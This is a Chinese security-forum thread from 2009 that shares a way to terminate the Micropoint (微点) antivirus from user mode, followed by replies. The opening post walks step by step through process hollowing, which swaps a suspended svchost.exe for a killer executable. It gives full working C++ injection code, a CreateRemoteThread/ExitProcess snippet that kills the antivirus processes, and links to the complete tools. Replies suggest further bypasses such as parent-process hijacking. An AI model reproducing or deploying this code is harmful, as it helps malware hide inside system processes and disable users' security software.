首页
论坛
专栏
课程

[分享]Ring3下WX方法结束微点2009

2009-10-9 22:04 24612

[分享]Ring3下WX方法结束微点2009

2009-10-9 22:04
24612
此法系Hovi.Delphic首发,某日看过之后甚感WS(某牛:“太挫了,太挫了”),于是把原作者的VB代码转成VC,以飨读者。

微点的主动防御没有拦截一些系统进程如csrss.exe, smss,exe, lsass.exe, svchost.exe, services.exe等的危险动作。因为这些进程通常是不危险的,我们要做的就是把它们中的某个变成危险进程,然后用这个危险进程猥亵微点。即用进程注入的方法把svhost.exe偷换成TerminateMP.exe(结束微点的程序),也就是所谓的借尸还魂。

操作步骤如下:
1.调用CretaeProcess函数创建第一个进程(svhost.exe),该进程处于suspend模式(记得参数CREATE_SUSPENDED ).

2.调用GetThreadContext函数获取第一个进程的各个寄存器值.其中EBX的值指向的就是该进程的PEB,EAX寄存器保存了该进程的入口点 (entry point)

3.从PEB中获取该进程的 base_address, [ebx+8]的值

lkd> dt _peb
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void            //映像基址
... ...

4.把第二个进程(TerminateMP.exe)读入到内存中,用ReadFile函数调用即可,注意如果文件对齐和内存对齐不一样的话,必须做必要的对齐操作.
5.如果第二个进程和第一个进程有相同的基地址(base-address),并且第二个进程的大小小于第一个进程,则只要简单的调用WriteProcessMemory函数覆盖掉第一个进程的进程空间,然后恢复运行即可.

6.否则的话,先调用ZwUnmapViewOfSection把第一个进程的镜像映射去掉,该函数由ntdll.dll导出.然后调用VertualAllocEX函数在第一个进程内存空间里面申请足够大的内存.然后拷贝第二个进程的镜像到该空间(利用WriteProcessMemory函数)

7.假如调用ZwUnmapViewOfSection操作失败,但是第二个exe是可重定位的.则可以在第一个进程空间里面的任何位置开始申请足够大的空间,在该分配的空间对第二个进程进行重定位.然后拷贝重定位后的exe到第一个进程空间里,开始位置就是申请的空间位置.

8.用第二个进程(TerminateMP.exe)的base-address修正PEB中相应的值,位置是[ebx+8]

9.用EAX设置第二个进程( TerminateMP.exe )的入口点地址
10.调用SetThreadContext函数修正
11.调用ResumeThread函数恢复svhost.exe运行.

实现代码可以参考 http://bbs.pediy.com/showthread.php?t=41873

这里提供一份更简短的代码,便于看清操作过程
BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe)
{
 HANDLE hFile;
 DWORD dwFileSize;    //文件大小
 IMAGE_DOS_HEADER DosHeader;
 IMAGE_NT_HEADERS NtHeader;
 PROCESS_INFORMATION pi;
 STARTUPINFO si;
 CONTEXT context;
 PVOID ImageBase;
 unsigned long ImageSize;
 unsigned long BaseAddr;
 unsigned long retByte = 0;
 LONG offset;
 HMODULE hNtDll=GetModuleHandle("ntdll.dll");
 if(!hNtDll)
  return FALSE;
 ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");
 memset(&si, 0, sizeof(si));   
 memset(&pi, 0, sizeof(pi)); 
 si.cb = sizeof(si);
 
 hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
 if (hFile == INVALID_HANDLE_VALUE)
 {
  return FALSE;
 }
 ::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
 dwFileSize = ::GetFileSize(hFile, NULL);
 LPBYTE pBuf = new BYTE[dwFileSize];
 memset(pBuf, 0, dwFileSize);
 DWORD dwNumberOfBytesRead = 0;   
    ::ReadFile( hFile   
        , pBuf   
        , dwFileSize   
        , &dwNumberOfBytesRead   
        , NULL   
        );    
 ::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));
 ::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
 //检查PE结构
 //以挂起方式进程
 BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi); 
 
 if (res)
 {
  context.ContextFlags = CONTEXT_FULL;
  if (!GetThreadContext(pi.hThread,&context))  //如果调用失败
  {
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }
  ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);
  if (!BaseAddr)
  {
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }
  //拆卸傀儡进程内存模块
  if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
  {
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }
  ImageBase = VirtualAllocEx(pi.hProcess, 
   (void *)NtHeader.OptionalHeader.ImageBase,
   NtHeader.OptionalHeader.SizeOfImage, 
   MEM_RESERVE|MEM_COMMIT, 
   PAGE_EXECUTE_READWRITE);  //ImageBase 0x00400000
  if (ImageBase == NULL)
  {
   DWORD wrongFlag = GetLastError();
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }  
  //替换傀儡进程内存数据
  if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.SizeOfHeaders, &retByte))
  {
   DWORD wrongFlag2 = GetLastError();  
  }
  //DOS 头 + PE 头 + 区块表的总大小
  //定位到区块头
  offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
  IMAGE_SECTION_HEADER secHeader;
  WORD i = 0;
  for (;i < NtHeader.FileHeader.NumberOfSections;i++)
  {
   //定位到各个区块
   ::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));
   WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
   VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
  }
 
  context.ContextFlags = CONTEXT_FULL;
  //重置 执行文件入口
  WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8), 
   &ImageBase,   //4194304
   4, &retByte);
  context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
  SetThreadContext(pi.hThread,&context);
  ResumeThread(pi.hThread);
 }
 
 CloseHandle(pi.hThread);
 CloseHandle(pi.hProcess);
 ::CloseHandle(hFile);  
 delete[] pBuf;
 return TRUE;
}
 


用以上方法启动 TerminateMP.exe之后,系统中没有TerminateMP.exe进程,只有被替换了的svhost.exe

在svhost.exe进程中可以轻松地用 OpenProcess打开微点的进程,但是要结束微点的进程还是很麻烦的(Ring3下)。某90后用创建远程错误线程的方法达到了目的(这么挫的方法都想得出来)。

EnableDebugPriv(_T("SeDebugPrivilege"));
    HMODULE hModule = GetModuleHandle("kernel32.dll");
    unsigned long FunAddr  = (unsigned long)GetProcAddress(hModule,"ExitProcess");
    for (int i=0;i<n;i++)
    {
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,0,Pids[i]);
        //创建远程错误线程
        HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(EXITPROCESS)FunAddr,NULL,0,NULL);
}


执行效果如图:


完整代码: 进程注入 InjectProcess.rar 结束微点 TerminateMP.rar

[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

上传的附件:
最新回复 (55)
qihoocom 9 2009-10-9 22:14
2
0
微点的拦截机制其实很土,尚没有做到数据驱动,因此只能对付很小的一部分已存在的木马。
因此绕过方法就很多了。这种傀儡进程技术早在04年就有人写了(或许更早,我好像见过一个02年的代码),算是比较常规的手段了,算不上什么WS

PS:用类似的手法伪装系统进程或360进程,是不能绕过360安全卫士的 ;)
qihoocom 9 2009-10-9 22:16
3
0
另外,楼主的中间的代码显然有点脱了裤子打屁的意味。何必要自己解析PE再writeprocessmemory呢?自己CreateSection再map进来,数行代码即能完成

父进程劫持是一种很常用的攻击手段,其实没必要unmap section再remap,还有其他数种利用方法,另外,微点没有拦截进程获取process_create_process权限,因此可以用父进程劫持的思想,构造一个不是由微点创建的微点子进程~方法很多了,能说出来的,都不算WS~
cogito 2009-10-9 22:20
4
0
我不是觉得进程注入WX,是觉得创建远程错误线程来结束进程WX
qihoocom 9 2009-10-9 22:23
5
0
创建错误远线程和创建特殊API结束没什么本质区别了,没觉得哪里WX了。
jerrynpc 2009-10-9 22:23
6
0
需要膜拜3个人,一个是楼主,一个是楼上的mj。另外一个是第一个下载的sysnap大牛。
cogito 2009-10-9 22:25
7
0
聆听大牛教诲,可否揭示一下远程错误线程本质是啥?
qihoocom 9 2009-10-9 22:30
8
0
不就是不写入SHELLCODE执行代码么,执行任意一个代码,甚至是PAGE_NOACCESS的,就可以目标进程崩溃了~ret2libc的类似思想,微点没拦截这个只能说是比较弱智,不能说这个方法WX
cogito 2009-10-9 22:59
9
0
我错了 下次再也不妄称WX了...
riusksk 41 2009-10-9 23:00
10
0
膜拜MJ大牛……
riusksk 41 2009-10-9 23:02
11
0
说实话,我还真不知道WX是啥意思
轩辕小聪 7 2009-10-9 23:41
12
0
貌似当年灰鸽子创建并利用IE进程就是用的这个方法……
boywhp 12 2009-10-10 08:33
13
0
你们没一个好东西!哈哈,干坏事都很精通啊,禁用WriteProcessMemory和OpenProcess以及一切跨进程函数得了
cschenhui 2009-10-10 10:12
14
0
这程序对预升级版本没用
心随风落 2009-10-10 10:12
15
0
偶用的是微点预升级版本 无法成功被结束  显示结束进程失败
cschenhui 2009-10-10 10:16
16
0
公网大众版本和预升级版本是有很大区别的
frozenrain 2009-10-10 10:36
17
0
这种手法 记得whitecell有一份代码,我好像也分析过一个类似的东西。
sudami 25 2009-10-10 10:55
18
0
我微点正版的啊. 比预升级的好使. 哈哈
qihoocom 9 2009-10-10 13:51
19
0
靠这种遮遮掩掩的方式发版本只能说水平太低,信心不足。这么下去注定是没有前途的 呵呵
飞心男孩 2 2009-10-10 22:50
20
0
WC,那我的试用版不是直接就是一个摆设啊~~~顶他个肺!!!
PEBOSS 2009-10-11 00:54
21
0
感谢楼主详细解说与代码,

个人感觉确实比较WS,
百折不挠 2009-10-12 10:09
22
0
把结束代码做成DLL注射到svchost里面不知道行不行?又或者把TerminateMP.exe改名成svchost.exe呢?
rakehells 2009-10-13 21:59
23
0
把自己的搞好就行了,无需指责别人,强烈鄙视这种人!
Sovereign 2009-10-14 06:30
24
0
这位仁兄可知qihoocom是谁么?
网络游侠 2009-10-14 12:10
25
0
说白点,就是傀儡进程!
网络游侠 2009-10-14 12:11
26
0
赞同,
非安全 17 2009-10-14 15:11
27
0
呵呵,我对微点还是挺有信心的,正在使,挺不错的
fxjtv 2009-10-15 17:21
28
0
微点本来就是垃圾。。。
秋秋叶 2009-10-17 20:52
29
0
这个够我理解一阵子的了,唉
liangdong 2009-10-19 18:00
30
0
路过学习一下
loveqqc 2009-10-20 12:31
31
0
微点对于象我这类只会用IE的人的确是垃圾。但是对于计算机知识丰富的人还是不错的。
loveqqc 2009-10-20 12:34
32
0
奇怪的是,微点号称是hips对于WriteProcessMemory这么危险的行为居然没拦截????
(本人没用过微点,习惯裸奔)
菜鸟test 2009-10-20 17:32
33
0
关注的是行为,落实的是目的

感觉是标题这几个字来综合阐述“主动防御技术”还是蛮不错的,解释一下就是关注一个程序运行后所触发的所有系统调用行为,最后具体落实到程序的真正目的,从而有效的判断该程序到底是不是病毒、木马,如果是那就调用清除引擎回滚行为,如果不是则放行,程序正常运作。

有人说主动防御技术现在还不是很成熟,的确,主动防御在误报率上面相对于传统杀毒软件的确很大,这也肯定是不可避免的,但相对于传统杀软的优势也是明显的,因为它具有了其他不具有的API广谱库+逻辑判断环节,可以从程序角度上分析绝大多数病毒,甚至可以分析出一些专业的病毒分析人士无法进行分析的程序,比如受加强壳、反调试等等客观因素影响下的样本程序,比如用微点来说,一样本程序运行后被微点的未知行为规则报警了,那么只能够说明这个程序已经具有了病毒、木马等应该具有的性质,再从分析角度来看只需要进一步确认该文件是那种种类的木马病毒就可以了。

用标题的十二个字来比较一下传统杀软、主动防御、hips的区别:

传统杀软只能够得到里面的六个字“关注的是目的”:

无论是内存特征、文件特征还是各式各样的广谱特征,最后都是人为落实的(加入特征库到达目的地),而杀毒软件只需要在目的地判断程序是否要来,如果要来直接调用清除引擎清除,原本这样的效率是很高的,但是有一个先天因素就是行为落实是有人为提供的,面对病毒、木马、后面层出不穷的今天,这样迟早也会发生双拳难敌四手的事情。所以这里的效率高只是程序确认是已知病毒的效率,归根结底就是“关注的是目的”,所以总体效率是很低的,相对而言只是经过人脑确认的一个病毒资源库,至于现在涉及到内核态的病毒是否可以清除、清除掉有无副作用又是另外一回事。

主动防御上面已经说过了,“关注的是行为,落实的是目的”,行为一旦被触发,主动防御就会先斩后奏,至少当前进程无论是否是病毒,一但触发了行为规则进程都会被挂起或结束,不难看出越是行为突出或拥有多数功能的病毒,就越难突破这种机制,突破这种机制就得从行为少或不突出等方面入手。

hips也只可以匹配到里面六个字“落实的是行为”,hips从设计角度上是最安全的安全产品,但是留给使用者的却是难以承受的鼠标点击率和行为判断,如果使用行为规则来完善hips,那么病毒同样可以模拟行为规则绕过hips,至于绕过绕不过只是巧合的问题,毕竟Hook的原生API越多就表明hips越强大,但是对于Ki、Ke、Fs、Io、Cc、Ex、Mm、Ps这类的原生函数调用又怎么在保证稳定性的前提下hook呢?如果在不重定向内核态执行体的情况下似乎鼠标的寿命和蓝屏都是问题,所以病毒一旦感染或替换了正常驱动来调用这些,hips就会挂的很惨。
loveqqc 2009-10-20 20:27
34
0
所见略同啊,哈哈。法宝还是特征码。
非安全 17 2009-10-20 21:26
35
0
呵呵,都跑题了
不过我还是喜欢微点,怎么说了,和普通的杀毒软件各自都有自己的优点

微点之前,我用ESET NOD32,可惜没防住,用外挂中毒导致地下城装备被盗,我郁闷的。。

后来我就想换个杀软,换来换去,也就微点了,我是用在网吧的游戏服务器上的

微点它不会主动杀毒,只有可疑文件运行时才会报警处理,对游戏服务器来说这点挺好

因为有些破解版的游戏或辅助工具类的容易被普通的杀软干掉,而微点就不会,这就是我选择微点的原因之一

微点总体来说适合服务器使用或计算机高手使用
xss 4 2009-10-22 16:57
36
0
微点还行,当然在大牛面前一切都是纸老虎!
foxbase 2009-10-27 14:59
37
0
我还是比较支持微点的
cradiator 4 2009-11-15 19:08
38
0
代码看明白了。
有一个问题,创建进程后主线程开始执行前,程序的IAT应该已经被填充完毕了。
这时卸载section,再把我们的程序写进去,IAT应该是没有被填充的状态呀。
可是为什么还能正常运行呢??
Sovereign 2009-11-15 20:24
39
0
貌似对微点无效啊。。。
难道是我操作问题?
mickeylan 14 2009-11-18 10:46
40
0
qihoocom这个ID有两个人在用,一个是美女MJ小姐,为人谦虚,技术高超,也乐于助人。另一个偶就不敢恭维了,大家从他们贴子里的言辞就能分辨出来,我也只敢说这么多了,再说会被。。。。。。
PEBOSS 2009-11-18 15:38
41
0
真的假有...还有共用的情况?
PEBOSS 2009-11-18 15:39
42
0
多发几个码嘛, 让每个人都有一个ID
skybright 2009-11-19 10:55
43
0
没用微点的来学习一下
cntrump 13 2009-11-19 12:58
44
0

不会吧,我一直给人家推荐NOD32企业版...


MJ真是姐姐来的???
Sovereign 2009-11-20 20:57
45
0
不会吧,mj0011是女的?不是360的郑文斌么?
天啊,真晕。。。。。。
heiyeyehei 2009-11-22 21:26
46
0
mj0011 是女的又如何。男女平等。。。。。。。。。。男人更需要被呵护的。
catface 2009-12-20 23:44
47
0
招聘版外的就没客气言辞  
最多借用而已
谈不上共用
manbug 2010-1-29 16:16
48
0
学习了,对于新手有帮助,呵呵!!!
zyr零零发 1 2010-1-30 00:18
49
0
学了不少新知识,O(∩_∩)O哈哈~
linyud 2010-2-7 01:18
50
0
根本就不行,没有结束微点。测试过了。
游客
登录 | 注册 方可回帖
返回